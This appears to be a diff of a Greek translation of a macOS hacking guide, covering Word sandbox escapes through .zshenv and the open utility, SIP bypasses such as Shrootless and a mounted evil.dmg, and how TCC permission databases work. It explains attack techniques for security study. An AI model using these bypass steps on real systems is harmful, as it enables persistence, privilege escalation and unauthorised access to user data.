Στη συνέχεια, προσθέστε το zip αρχείο στα **Login Items** και στη συνέχεια την εφαρμογή **`Terminal`**. Όταν ο χρήστης ξανασυνδεθεί, το zip αρχείο θα αποσυμπιεστεί στο φάκελο του χρήστη, αντικαθιστώντας **`.bash_profile`** και **`.zshenv`** και επομένως, το τερματικό θα εκτελέσει ένα από αυτά τα αρχεία (ανάλογα με το αν χρησιμοποιείται bash ή zsh).
|
||||
|
||||
Δείτε την [**αρχική αναφορά εδώ**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
|
||||
|
||||
### Word Sandbox Bypass with Open and env variables
|
||||
### Παράκαμψη Sandbox του Word με Open και env μεταβλητές
|
||||
|
||||
Από τις διαδικασίες που είναι sandboxed είναι ακόμα δυνατό να καλέσετε άλλες διαδικασίες χρησιμοποιώντας το **`open`** utility. Επιπλέον, αυτές οι διαδικασίες θα εκτελούνται **μέσα στο δικό τους sandbox**.
|
||||
Από τις διαδικασίες που είναι σε sandbox είναι ακόμα δυνατό να προσκαλέσετε άλλες διαδικασίες χρησιμοποιώντας το **`open`** utility. Επιπλέον, αυτές οι διαδικασίες θα εκτελούνται **μέσα στο δικό τους sandbox**.
|
||||
|
||||
Ανακαλύφθηκε ότι το open utility έχει την επιλογή **`--env`** για να εκτελέσει μια εφαρμογή με **συγκεκριμένες env** μεταβλητές. Επομένως, ήταν δυνατό να δημιουργηθεί το **`.zshenv` αρχείο** μέσα σε έναν φάκελο **μέσα** στο **sandbox** και να χρησιμοποιηθεί το `open` με `--env` ρυθμίζοντας τη **μεταβλητή `HOME`** σε αυτόν τον φάκελο ανοίγοντας την εφαρμογή `Terminal`, η οποία θα εκτελέσει το αρχείο `.zshenv` (για κάποιο λόγο ήταν επίσης απαραίτητο να ρυθμιστεί η μεταβλητή `__OSINSTALL_ENVIROMENT`).
|
||||
Ανακαλύφθηκε ότι το open utility έχει την επιλογή **`--env`** για να εκτελεί μια εφαρμογή με **συγκεκριμένες env** μεταβλητές. Επομένως, ήταν δυνατό να δημιουργηθεί το **`.zshenv` αρχείο** μέσα σε έναν φάκελο **μέσα** στο **sandbox** και να χρησιμοποιηθεί το `open` με `--env` ρυθμίζοντας τη **μεταβλητή `HOME`** σε αυτόν τον φάκελο ανοίγοντας την εφαρμογή `Terminal`, η οποία θα εκτελέσει το αρχείο `.zshenv` (για κάποιο λόγο ήταν επίσης απαραίτητο να ρυθμιστεί η μεταβλητή `__OSINSTALL_ENVIROMENT`).
|
||||
|
||||
Δείτε την [**αρχική αναφορά εδώ**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
|
||||
|
||||
### Word Sandbox Bypass with Open and stdin
|
||||
### Παράκαμψη Sandbox του Word με Open και stdin
|
||||
|
||||
Το **`open`** utility υποστήριξε επίσης την παράμετρο **`--stdin`** (και μετά την προηγούμενη εκμετάλλευση δεν ήταν πλέον δυνατή η χρήση του `--env`).
|
||||
Το **`open`** utility υποστήριξε επίσης την παράμετρο **`--stdin`** (και μετά την προηγούμενη παράκαμψη δεν ήταν πλέον δυνατή η χρήση του `--env`).
|
||||
|
||||
Το θέμα είναι ότι ακόμη και αν το **`python`** ήταν υπογεγραμμένο από την Apple, **δεν θα εκτελέσει** ένα σενάριο με το **`quarantine`** χαρακτηριστικό. Ωστόσο, ήταν δυνατό να του περάσετε ένα σενάριο από stdin, οπότε δεν θα ελέγξει αν ήταν σε καραντίνα ή όχι: 
|
||||
Το θέμα είναι ότι ακόμη και αν το **`python`** ήταν υπογεγραμμένο από την Apple, **δεν θα εκτελέσει** ένα σενάριο με το **`quarantine`** χαρακτηριστικό. Ωστόσο, ήταν δυνατό να του περάσετε ένα σενάριο από stdin, έτσι ώστε να μην ελέγξει αν ήταν σε καραντίνα ή όχι: 
|
||||
|
||||
1. Ρίξτε ένα **`~$exploit.py`** αρχείο με αυθαίρετες εντολές Python.
|
||||
2. Εκτελέστε _open_ **`–stdin='~$exploit.py' -a Python`**, το οποίο εκτελεί την εφαρμογή Python με το ρίχτηκε αρχείο μας να χρησιμεύει ως τυπική είσοδος. Η Python εκτελεί ευτυχώς τον κώδικά μας, και καθώς είναι μια παιδική διαδικασία του _launchd_, δεν δεσμεύεται από τους κανόνες του sandbox του Word.
|
||||
2. Εκτελέστε _open_ **`–stdin='~$exploit.py' -a Python`**, το οποίο εκτελεί την εφαρμογή Python με το ρίχτηκε αρχείο μας να χρησιμεύει ως τυπική είσοδος. Η Python εκτελεί ευτυχώς τον κώδικά μας, και καθώς είναι μια παιδική διαδικασία του _launchd_, δεν υπόκειται στους κανόνες sandbox του Word.
|
||||
|
||||
{{#include ../../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
- **/sbin**
|
||||
- **/usr**
|
||||
|
||||
Οι κανόνες που διέπουν τη συμπεριφορά του SIP ορίζονται στο αρχείο ρύθμισης που βρίσκεται στο **`/System/Library/Sandbox/rootless.conf`**. Μέσα σε αυτό το αρχείο, οι διαδρομές που προηγούνται από ένα αστερίσκο (\*) αναφέρονται ως εξαιρέσεις από τους αυστηρούς περιορισμούς του SIP.
|
||||
Οι κανόνες που διέπουν τη συμπεριφορά του SIP ορίζονται στο αρχείο ρύθμισης που βρίσκεται στο **`/System/Library/Sandbox/rootless.conf`**. Μέσα σε αυτό το αρχείο, οι διαδρομές που προηγούνται από ένα αστερίσκο (\*) αναφέρονται ως εξαιρέσεις στους κατά τα άλλα αυστηρούς περιορισμούς του SIP.
|
||||
|
||||
Σκεφτείτε το παρακάτω παράδειγμα:
|
||||
```javascript
|
||||
@ -84,7 +84,7 @@ csrutil enable --without debug
|
||||
- `com.apple.rootless.xpc.effective-root`: Root μέσω launchd XPC
|
||||
- `com.apple.rootless.restricted-block-devices`: Πρόσβαση σε ακατέργαστες συσκευές μπλοκ
|
||||
- `com.apple.rootless.internal.installer-equivalent`: Απεριόριστη πρόσβαση στο σύστημα αρχείων
|
||||
- `com.apple.rootless.restricted-nvram-variables[.heritable]`: Πλήρης πρόσβαση σε NVRAM
|
||||
- `com.apple.rootless.restricted-nvram-variables[.heritable]`: Πλήρης πρόσβαση στο NVRAM
|
||||
- `com.apple.rootless.storage.label`: Τροποποίηση αρχείων που περιορίζονται από το com.apple.rootless xattr με την αντίστοιχη ετικέτα
|
||||
- `com.apple.rootless.volume.VM.label`: Διατήρηση VM swap στον τόμο
|
||||
|
||||
@ -94,16 +94,16 @@ csrutil enable --without debug
|
||||
|
||||
- **Πρόσβαση σε Δεδομένα Χρήστη**: Διαβάστε ευαίσθητα δεδομένα χρήστη όπως αλληλογραφία, μηνύματα και ιστορικό Safari από όλους τους λογαριασμούς χρηστών.
|
||||
- **Παράκαμψη TCC**: Άμεση χειραγώγηση της βάσης δεδομένων TCC (Διαφάνεια, Συναίνεση και Έλεγχος) για να παραχωρήσετε μη εξουσιοδοτημένη πρόσβαση στην κάμερα, το μικρόφωνο και άλλους πόρους.
|
||||
- **Καθ establishment Persistence**: Τοποθέτηση κακόβουλου λογισμικού σε τοποθεσίες προστατευμένες από SIP, καθιστώντας το ανθεκτικό στην αφαίρεση, ακόμη και από δικαιώματα root. Αυτό περιλαμβάνει επίσης τη δυνατότητα παραποίησης του Εργαλείου Αφαίρεσης Κακόβουλου Λογισμικού (MRT).
|
||||
- **Καθιέρωση Επιμονής**: Τοποθέτηση κακόβουλου λογισμικού σε τοποθεσίες προστατευμένες από SIP, καθιστώντας το ανθεκτικό στην αφαίρεση, ακόμη και από δικαιώματα root. Αυτό περιλαμβάνει επίσης τη δυνατότητα να παραβιάσετε το Εργαλείο Αφαίρεσης Κακόβουλου Λογισμικού (MRT).
|
||||
- **Φόρτωση Επεκτάσεων Πυρήνα**: Αν και υπάρχουν επιπλέον προστασίες, η παράκαμψη του SIP απλοποιεί τη διαδικασία φόρτωσης μη υπογεγραμμένων επεκτάσεων πυρήνα.
|
||||
|
||||
### Πακέτα Εγκατάστασης
|
||||
|
||||
**Τα πακέτα εγκατάστασης που υπογράφονται με το πιστοποιητικό της Apple** μπορούν να παρακάμψουν τις προστασίες του. Αυτό σημαίνει ότι ακόμη και τα πακέτα που υπογράφονται από τυπικούς προγραμματιστές θα αποκλειστούν αν προσπαθήσουν να τροποποιήσουν τους καταλόγους που προστατεύονται από SIP.
|
||||
**Τα πακέτα εγκατάστασης που υπογράφονται με το πιστοποιητικό της Apple** μπορούν να παρακάμψουν τις προστασίες του. Αυτό σημαίνει ότι ακόμη και πακέτα που υπογράφονται από τυπικούς προγραμματιστές θα αποκλειστούν αν προσπαθήσουν να τροποποιήσουν καταλόγους που προστατεύονται από SIP.
|
||||
|
||||
### Μη Υπάρχον Αρχείο SIP
|
||||
### Ανύπαρκτο αρχείο SIP
|
||||
|
||||
Ένα πιθανό παραθυράκι είναι ότι αν ένα αρχείο καθοριστεί στο **`rootless.conf` αλλά δεν υπάρχει αυτή τη στιγμή**, μπορεί να δημιουργηθεί. Το κακόβουλο λογισμικό θα μπορούσε να εκμεταλλευτεί αυτό για να **καθιερώσει μόνιμη παρουσία** στο σύστημα. Για παράδειγμα, ένα κακόβουλο πρόγραμμα θα μπορούσε να δημιουργήσει ένα αρχείο .plist στο `/System/Library/LaunchDaemons` αν είναι καταχωρημένο στο `rootless.conf` αλλά δεν είναι παρόν.
|
||||
Ένα πιθανό παραθυράκι είναι ότι αν ένα αρχείο καθοριστεί στο **`rootless.conf` αλλά δεν υπάρχει αυτή τη στιγμή**, μπορεί να δημιουργηθεί. Το κακόβουλο λογισμικό θα μπορούσε να εκμεταλλευτεί αυτό για να **καθιερώσει επιμονή** στο σύστημα. Για παράδειγμα, ένα κακόβουλο πρόγραμμα θα μπορούσε να δημιουργήσει ένα αρχείο .plist στο `/System/Library/LaunchDaemons` αν είναι καταχωρημένο στο `rootless.conf` αλλά δεν είναι παρόν.
|
||||
|
||||
### com.apple.rootless.install.heritable
|
||||
|
||||
@ -112,7 +112,7 @@ csrutil enable --without debug
|
||||
|
||||
#### [CVE-2019-8561](https://objective-see.org/blog/blog_0x42.html) <a href="#cve" id="cve"></a>
|
||||
|
||||
Ανακαλύφθηκε ότι ήταν δυνατό να **ανταλλάξετε το πακέτο εγκατάστασης μετά την επιβεβαίωση της υπογραφής του κώδικα από το σύστημα** και στη συνέχεια, το σύστημα θα εγκαθιστούσε το κακόβουλο πακέτο αντί του αρχικού. Καθώς αυτές οι ενέργειες εκτελούνταν από το **`system_installd`**, θα επέτρεπε την παράκαμψη του SIP.
|
||||
Ανακαλύφθηκε ότι ήταν δυνατό να **ανταλλάξετε το πακέτο εγκατάστασης μετά την επιβεβαίωση της υπογραφής του κώδικα από το σύστημα** και στη συνέχεια, το σύστημα θα εγκαθιστούσε το κακόβουλο πακέτο αντί του αρχικού. Καθώς αυτές οι ενέργειες εκτελούνταν από **`system_installd`**, θα επέτρεπε την παράκαμψη του SIP.
|
||||
|
||||
#### [CVE-2020–9854](https://objective-see.org/blog/blog_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a>
|
||||
|
||||
@ -120,17 +120,17 @@ csrutil enable --without debug
|
||||
|
||||
#### CVE-2021-30892 - Shrootless
|
||||
|
||||
[**Ερευνητές από αυτή την ανάρτηση blog**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) ανακάλυψαν μια ευπάθεια στον μηχανισμό Προστασίας Ακεραιότητας Συστήματος (SIP) του macOS, που ονομάζεται 'Shrootless'. Αυτή η ευπάθεια επικεντρώνεται γύρω από το **`system_installd`** daemon, ο οποίος έχει ένα δικαίωμα, **`com.apple.rootless.install.heritable`**, που επιτρέπει σε οποιαδήποτε από τις διαδικασίες παιδιών του να παρακάμψει τους περιορισμούς του συστήματος αρχείων SIP.
|
||||
[**Ερευνητές από αυτή την ανάρτηση blog**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) ανακάλυψαν μια ευπάθεια στον μηχανισμό Προστασίας Ακεραιότητας Συστήματος (SIP) του macOS, που ονομάζεται 'Shrootless'. Αυτή η ευπάθεια επικεντρώνεται στον δαίμονα **`system_installd`**, ο οποίος έχει ένα δικαίωμα, **`com.apple.rootless.install.heritable`**, που επιτρέπει σε οποιαδήποτε από τις διαδικασίες παιδιών του να παρακάμψει τους περιορισμούς του συστήματος αρχείων SIP.
|
||||
|
||||
Ο daemon **`system_installd`** θα εγκαταστήσει πακέτα που έχουν υπογραφεί από **Apple**.
|
||||
Ο δαίμονας **`system_installd`** θα εγκαταστήσει πακέτα που έχουν υπογραφεί από **Apple**.
|
||||
|
||||
Οι ερευνητές διαπίστωσαν ότι κατά την εγκατάσταση ενός πακέτου υπογεγραμμένου από την Apple (.pkg αρχείο), το **`system_installd`** **εκτελεί** οποιαδήποτε **σενάρια μετά την εγκατάσταση** που περιλαμβάνονται στο πακέτο. Αυτά τα σενάρια εκτελούνται από το προεπιλεγμένο κέλυφος, **`zsh`**, το οποίο αυτόματα **εκτελεί** εντολές από το **`/etc/zshenv`** αρχείο, αν υπάρχει, ακόμη και σε μη διαδραστική λειτουργία. Αυτή η συμπεριφορά θα μπορούσε να εκμεταλλευτεί από επιτιθέμενους: δημιουργώντας ένα κακόβουλο αρχείο `/etc/zshenv` και περιμένοντας να **καλέσει το `system_installd` το `zsh`**, θα μπορούσαν να εκτελέσουν αυθαίρετες ενέργειες στη συσκευή.
|
||||
Οι ερευνητές διαπίστωσαν ότι κατά την εγκατάσταση ενός πακέτου υπογεγραμμένου από την Apple (.pkg αρχείο), ο **`system_installd`** **εκτελεί** οποιαδήποτε **σενάρια μετά την εγκατάσταση** που περιλαμβάνονται στο πακέτο. Αυτά τα σενάρια εκτελούνται από το προεπιλεγμένο κέλυφος, **`zsh`**, το οποίο αυτόματα **εκτελεί** εντολές από το **`/etc/zshenv`** αρχείο, αν υπάρχει, ακόμη και σε μη διαδραστική λειτουργία. Αυτή η συμπεριφορά θα μπορούσε να εκμεταλλευτεί από επιτιθέμενους: δημιουργώντας ένα κακόβουλο αρχείο `/etc/zshenv` και περιμένοντας να **καλέσει το `zsh` ο `system_installd`**, θα μπορούσαν να εκτελέσουν αυθαίρετες ενέργειες στη συσκευή.
|
||||
|
||||
Επιπλέον, ανακαλύφθηκε ότι το **`/etc/zshenv` θα μπορούσε να χρησιμοποιηθεί ως γενική τεχνική επίθεσης**, όχι μόνο για παράκαμψη SIP. Κάθε προφίλ χρήστη έχει ένα αρχείο `~/.zshenv`, το οποίο συμπεριφέρεται με τον ίδιο τρόπο όπως το `/etc/zshenv` αλλά δεν απαιτεί δικαιώματα root. Αυτό το αρχείο θα μπορούσε να χρησιμοποιηθεί ως μηχανισμός μόνιμης παρουσίας, ενεργοποιούμενο κάθε φορά που ξεκινά το `zsh`, ή ως μηχανισμός ανύψωσης δικαιωμάτων. Αν ένας χρήστης διαχειριστής ανυψωθεί σε root χρησιμοποιώντας `sudo -s` ή `sudo <εντολή>`, το αρχείο `~/.zshenv` θα ενεργοποιούνταν, ανυψώνοντας αποτελεσματικά σε root.
|
||||
Επιπλέον, ανακαλύφθηκε ότι το **`/etc/zshenv` θα μπορούσε να χρησιμοποιηθεί ως γενική τεχνική επίθεσης**, όχι μόνο για παράκαμψη SIP. Κάθε προφίλ χρήστη έχει ένα αρχείο `~/.zshenv`, το οποίο συμπεριφέρεται με τον ίδιο τρόπο όπως το `/etc/zshenv` αλλά δεν απαιτεί δικαιώματα root. Αυτό το αρχείο θα μπορούσε να χρησιμοποιηθεί ως μηχανισμός επιμονής, ενεργοποιούμενο κάθε φορά που ξεκινά το `zsh`, ή ως μηχανισμός ανύψωσης δικαιωμάτων. Αν ένας χρήστης διαχειριστής ανυψωθεί σε root χρησιμοποιώντας `sudo -s` ή `sudo <εντολή>`, το αρχείο `~/.zshenv` θα ενεργοποιούνταν, ανυψώνοντας αποτελεσματικά σε root.
|
||||
|
||||
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
||||
|
||||
Στο [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) ανακαλύφθηκε ότι η ίδια διαδικασία **`system_installd`** θα μπορούσε να καταχραστεί επειδή τοποθετούσε το **σενάριο μετά την εγκατάσταση σε έναν τυχαία ονομασμένο φάκελο προστατευμένο από SIP μέσα στο `/tmp`**. Το θέμα είναι ότι το **`/tmp` από μόνο του δεν προστατεύεται από SIP**, οπότε ήταν δυνατό να **τοποθετηθεί** μια **εικονική εικόνα σε αυτό**, στη συνέχεια ο **εγκαταστάτης** θα τοποθετούσε εκεί το **σενάριο μετά την εγκατάσταση**, **ξεμοντάροντας** την εικονική εικόνα, **αναδημιουργώντας** όλους τους **φακέλους** και **προσθέτοντας** το **σενάριο μετά την εγκατάσταση** με το **payload** για εκτέλεση.
|
||||
Στο [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) ανακαλύφθηκε ότι η ίδια διαδικασία **`system_installd`** θα μπορούσε να καταχραστεί επειδή τοποθετούσε το **σενάριο μετά την εγκατάσταση σε έναν τυχαία ονομασμένο φάκελο που προστατεύεται από SIP μέσα στο `/tmp`**. Το θέμα είναι ότι το **`/tmp` από μόνο του δεν προστατεύεται από SIP**, οπότε ήταν δυνατό να **τοποθετηθεί** μια **εικόνα εικονικού δίσκου σε αυτό**, στη συνέχεια ο **εγκαταστάτης** θα τοποθετούσε εκεί το **σενάριο μετά την εγκατάσταση**, **ξεμοντάροντας** την εικονική εικόνα, **αναδημιουργώντας** όλους τους **φακέλους** και **προσθέτοντας** το **σενάριο μετά την εγκατάσταση** με το **payload** για εκτέλεση.
|
||||
|
||||
#### [fsck_cs utility](https://www.theregister.com/2016/03/30/apple_os_x_rootless/)
|
||||
|
||||
@ -185,7 +185,7 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
||||
|
||||
Η εξουσιοδότηση `com.apple.rootless.install` είναι γνωστό ότι παρακάμπτει την Προστασία Ακεραιότητας Συστήματος (SIP) στο macOS. Αυτό αναφέρθηκε ιδιαίτερα σε σχέση με [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/).
|
||||
|
||||
Σε αυτήν την συγκεκριμένη περίπτωση, η υπηρεσία XPC του συστήματος που βρίσκεται στο `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` διαθέτει αυτήν την εξουσιοδότηση. Αυτό επιτρέπει στη σχετική διαδικασία να παρακάμψει τους περιορισμούς SIP. Επιπλέον, αυτή η υπηρεσία παρουσιάζει μια μέθοδο που επιτρέπει τη μετακίνηση αρχείων χωρίς να επιβάλλει κανένα μέτρο ασφαλείας.
|
||||
Σε αυτήν την συγκεκριμένη περίπτωση, η υπηρεσία XPC του συστήματος που βρίσκεται στο `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` διαθέτει αυτήν την εξουσιοδότηση. Αυτό επιτρέπει στη σχετική διαδικασία να παρακάμψει τους περιορισμούς του SIP. Επιπλέον, αυτή η υπηρεσία παρουσιάζει μια μέθοδο που επιτρέπει τη μετακίνηση αρχείων χωρίς να επιβάλλει κανένα μέτρο ασφαλείας.
|
||||
|
||||
## Σφραγισμένα Στιγμιότυπα Συστήματος
|
||||
|
||||
|
||||
@ -4,17 +4,17 @@
|
||||
|
||||
## **Βασικές Πληροφορίες**
|
||||
|
||||
**TCC (Διαφάνεια, Συναίνεση και Έλεγχος)** είναι ένα πρωτόκολλο ασφαλείας που επικεντρώνεται στη ρύθμιση των δικαιωμάτων εφαρμογών. Ο κύριος ρόλος του είναι να προστατεύει ευαίσθητες λειτουργίες όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρης πρόσβαση σε δίσκο**. Απαιτώντας ρητή συναίνεση από τον χρήστη πριν παραχωρηθεί πρόσβαση στην εφαρμογή σε αυτά τα στοιχεία, το TCC ενισχύει την ιδιωτικότητα και τον έλεγχο του χρήστη πάνω στα δεδομένα του.
|
||||
**TCC (Διαφάνεια, Συναίνεση και Έλεγχος)** είναι ένα πρωτόκολλο ασφαλείας που επικεντρώνεται στη ρύθμιση των αδειών εφαρμογών. Ο κύριος ρόλος του είναι να προστατεύει ευαίσθητες δυνατότητες όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρης πρόσβαση δίσκου**. Απαιτώντας ρητή συναίνεση από τον χρήστη πριν παραχωρηθεί πρόσβαση στην εφαρμογή σε αυτά τα στοιχεία, το TCC ενισχύει την ιδιωτικότητα και τον έλεγχο του χρήστη πάνω στα δεδομένα του.
|
||||
|
||||
Οι χρήστες συναντούν το TCC όταν οι εφαρμογές ζητούν πρόσβαση σε προστατευμένες λειτουργίες. Αυτό είναι ορατό μέσω μιας προτροπής που επιτρέπει στους χρήστες να **εγκρίνουν ή να απορρίψουν την πρόσβαση**. Επιπλέον, το TCC διευκολύνει άμεσες ενέργειες του χρήστη, όπως **σύρσιμο και απόθεση αρχείων σε μια εφαρμογή**, για να παραχωρήσει πρόσβαση σε συγκεκριμένα αρχεία, διασφαλίζοντας ότι οι εφαρμογές έχουν πρόσβαση μόνο σε ό,τι έχει ρητά επιτραπεί.
|
||||
Οι χρήστες συναντούν το TCC όταν οι εφαρμογές ζητούν πρόσβαση σε προστατευμένες δυνατότητες. Αυτό είναι ορατό μέσω μιας προτροπής που επιτρέπει στους χρήστες να **εγκρίνουν ή να απορρίψουν την πρόσβαση**. Επιπλέον, το TCC διευκολύνει άμεσες ενέργειες του χρήστη, όπως **σύρσιμο και απόθεση αρχείων σε μια εφαρμογή**, για να παραχωρήσει πρόσβαση σε συγκεκριμένα αρχεία, διασφαλίζοντας ότι οι εφαρμογές έχουν πρόσβαση μόνο σε ό,τι έχει ρητά επιτραπεί.
|
||||
|
||||

|
||||
|
||||
**TCC** διαχειρίζεται από τον **daemon** που βρίσκεται στο `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` και ρυθμίζεται στο `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (καταχωρώντας την υπηρεσία mach `com.apple.tccd.system`).
|
||||
**TCC** διαχειρίζεται από το **daemon** που βρίσκεται στο `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` και ρυθμίζεται στο `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (καταχωρώντας την υπηρεσία mach `com.apple.tccd.system`).
|
||||
|
||||
Υπάρχει μια **tccd σε λειτουργία χρήστη** που εκτελείται ανά χρήστη που έχει συνδεθεί, καθορισμένη στο `/System/Library/LaunchAgents/com.apple.tccd.plist`, καταχωρώντας τις υπηρεσίες mach `com.apple.tccd` και `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
Υπάρχει ένα **tccd σε λειτουργία χρήστη** που εκτελείται ανά χρήστη που έχει συνδεθεί, ορισμένο στο `/System/Library/LaunchAgents/com.apple.tccd.plist`, καταχωρώντας τις υπηρεσίες mach `com.apple.tccd` και `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
|
||||
Εδώ μπορείτε να δείτε την tccd να εκτελείται ως σύστημα και ως χρήστης:
|
||||
Εδώ μπορείτε να δείτε το tccd να εκτελείται ως σύστημα και ως χρήστης:
|
||||
```bash
|
||||
ps -ef | grep tcc
|
||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
@ -102,7 +102,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||
{{#endtabs}}
|
||||
|
||||
> [!TIP]
|
||||
> Ελέγχοντας και τις δύο βάσεις δεδομένων μπορείτε να ελέγξετε τις άδειες που έχει επιτρέψει μια εφαρμογή, έχει απαγορεύσει ή δεν έχει (θα ζητήσει την άδεια).
|
||||
> Ελέγχοντας και τις δύο βάσεις δεδομένων μπορείτε να ελέγξετε τις άδειες που έχει επιτρέψει μια εφαρμογή, έχει απαγορεύσει ή δεν έχει (θα ζητήσει).
|
||||
|
||||
- Η **`service`** είναι η συμβολοσειρά αναπαράστασης της **άδειας** TCC
|
||||
- Ο **`client`** είναι το **bundle ID** ή η **διαδρομή προς το δυαδικό** με τις άδειες
|
||||
@ -153,7 +153,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||
|
||||
- Η **`auth_value`** μπορεί να έχει διαφορετικές τιμές: denied(0), unknown(1), allowed(2) ή limited(3).
|
||||
- Η **`auth_reason`** μπορεί να πάρει τις εξής τιμές: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
- Το πεδίο **csreq** υπάρχει για να υποδείξει πώς να επαληθεύσετε το δυαδικό αρχείο για εκτέλεση και να παραχωρήσετε τα δικαιώματα TCC:
|
||||
- Το πεδίο **csreq** είναι εκεί για να υποδείξει πώς να επαληθεύσετε το δυαδικό αρχείο για εκτέλεση και να παραχωρήσετε τα δικαιώματα TCC:
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
@ -174,7 +174,7 @@ echo "X'$REQ_HEX'"
|
||||
Μπορείτε επίσης να ελέγξετε **τις ήδη παραχωρηθείσες άδειες** σε εφαρμογές στο `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`.
|
||||
|
||||
> [!TIP]
|
||||
> Οι χρήστες _μπορούν_ **να διαγράψουν ή να ερωτήσουν κανόνες** χρησιμοποιώντας **`tccutil`** .
|
||||
> Οι χρήστες _μπορούν_ να **διαγράψουν ή να ερωτήσουν κανόνες** χρησιμοποιώντας **`tccutil`** .
|
||||
|
||||
#### Επαναφορά αδειών TCC
|
||||
```bash
|
||||
@ -199,16 +199,16 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
|
||||
```
|
||||
> [!WARNING]
|
||||
> Επομένως, άλλες εφαρμογές που χρησιμοποιούν το ίδιο όνομα και ID πακέτου δεν θα μπορούν να έχουν πρόσβαση στις παραχωρημένες άδειες που έχουν δοθεί σε άλλες εφαρμογές.
|
||||
> Επομένως, άλλες εφαρμογές που χρησιμοποιούν το ίδιο όνομα και ID πακέτου δεν θα μπορούν να έχουν πρόσβαση στις παραχωρηθείσες άδειες που έχουν δοθεί σε άλλες εφαρμογές.
|
||||
|
||||
### Δικαιώματα & Άδειες TCC
|
||||
|
||||
Οι εφαρμογές **δεν χρειάζεται μόνο** να **ζητούν** και να έχουν **παραχωρημένη πρόσβαση** σε ορισμένους πόρους, αλλά πρέπει επίσης να **έχουν τα σχετικά δικαιώματα**.\
|
||||
Για παράδειγμα, το **Telegram** έχει το δικαίωμα `com.apple.security.device.camera` για να ζητήσει **πρόσβαση στην κάμερα**. Μια **εφαρμογή** που **δεν έχει** αυτό το **δικαίωμα δεν θα μπορεί** να έχει πρόσβαση στην κάμερα (και ο χρήστης δεν θα ρωτηθεί καν για τις άδειες).
|
||||
Οι εφαρμογές **δεν χρειάζεται μόνο** να **ζητούν** και να έχουν **παραχωρηθεί πρόσβαση** σε ορισμένους πόρους, αλλά πρέπει επίσης να **έχουν τα σχετικά δικαιώματα**.\
|
||||
Για παράδειγμα, **Telegram** έχει το δικαίωμα `com.apple.security.device.camera` για να ζητήσει **πρόσβαση στην κάμερα**. Μια **εφαρμογή** που **δεν έχει** αυτό το **δικαίωμα δεν θα μπορεί** να έχει πρόσβαση στην κάμερα (και ο χρήστης δεν θα ρωτηθεί καν για τις άδειες).
|
||||
|
||||
Ωστόσο, για να **έχουν πρόσβαση** οι εφαρμογές σε **ορισμένους φακέλους χρηστών**, όπως `~/Desktop`, `~/Downloads` και `~/Documents`, **δεν χρειάζεται** να έχουν κανένα συγκεκριμένο **δικαίωμα.** Το σύστημα θα διαχειριστεί διαφανώς την πρόσβαση και θα **ζητήσει από τον χρήστη** όπως απαιτείται.
|
||||
|
||||
Οι εφαρμογές της Apple **δεν θα δημιουργήσουν προτροπές**. Περιέχουν **προπαραχωρημένα δικαιώματα** στη λίστα **δικαιωμάτων** τους, που σημαίνει ότι **δεν θα δημιουργήσουν ποτέ αναδυόμενο παράθυρο**, **ούτε** θα εμφανιστούν σε καμία από τις **βάσεις δεδομένων TCC.** Για παράδειγμα:
|
||||
Οι εφαρμογές της Apple **δεν θα δημιουργήσουν προτροπές**. Περιέχουν **προπαραχωρημένα δικαιώματα** στη λίστα **δικαιωμάτων** τους, που σημαίνει ότι **ποτέ δεν θα δημιουργήσουν αναδυόμενο παράθυρο**, **ούτε** θα εμφανιστούν σε καμία από τις **βάσεις δεδομένων TCC.** Για παράδειγμα:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
@ -234,7 +234,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
|
||||
### Πρόθεση Χρήστη / com.apple.macl
|
||||
|
||||
